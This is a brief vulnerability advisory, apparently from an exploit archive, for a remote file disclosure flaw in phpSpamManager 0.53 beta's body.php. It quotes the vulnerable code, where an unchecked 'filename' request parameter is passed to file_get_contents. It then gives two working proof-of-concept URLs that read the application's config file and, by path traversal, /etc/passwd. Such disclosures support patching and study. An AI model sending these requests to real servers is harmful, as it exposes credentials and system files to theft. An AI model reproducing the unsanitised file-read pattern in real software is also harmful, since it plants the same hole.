phpspamman-disclose.txt

`phpSpamManager 0.53 beta (body.php) Remote File Disclosure Vulnerability  
D.Script : http://sourceforge.net/project/showfiles.php?group_id=141000  
Vuln Code   
Ln 38 -> 47 :   
//get filename  
$okprint=false;  
$filename = $_REQUEST['filename']; <--- XxX  
if ($filename!='FILENAME')  
{  
debug_print("analysing " .$filename);  
//replace # by dots if necessary  
$filename = preg_replace("/#/",".",$filename);  
$mailtext=file_get_contents($filename); <--- XxX  
$email=new parseMail($mailtext); <--- XxX  
POC :  
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php  
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd  
I'm Mahmood_ali --- I'm Tryagi  
  
`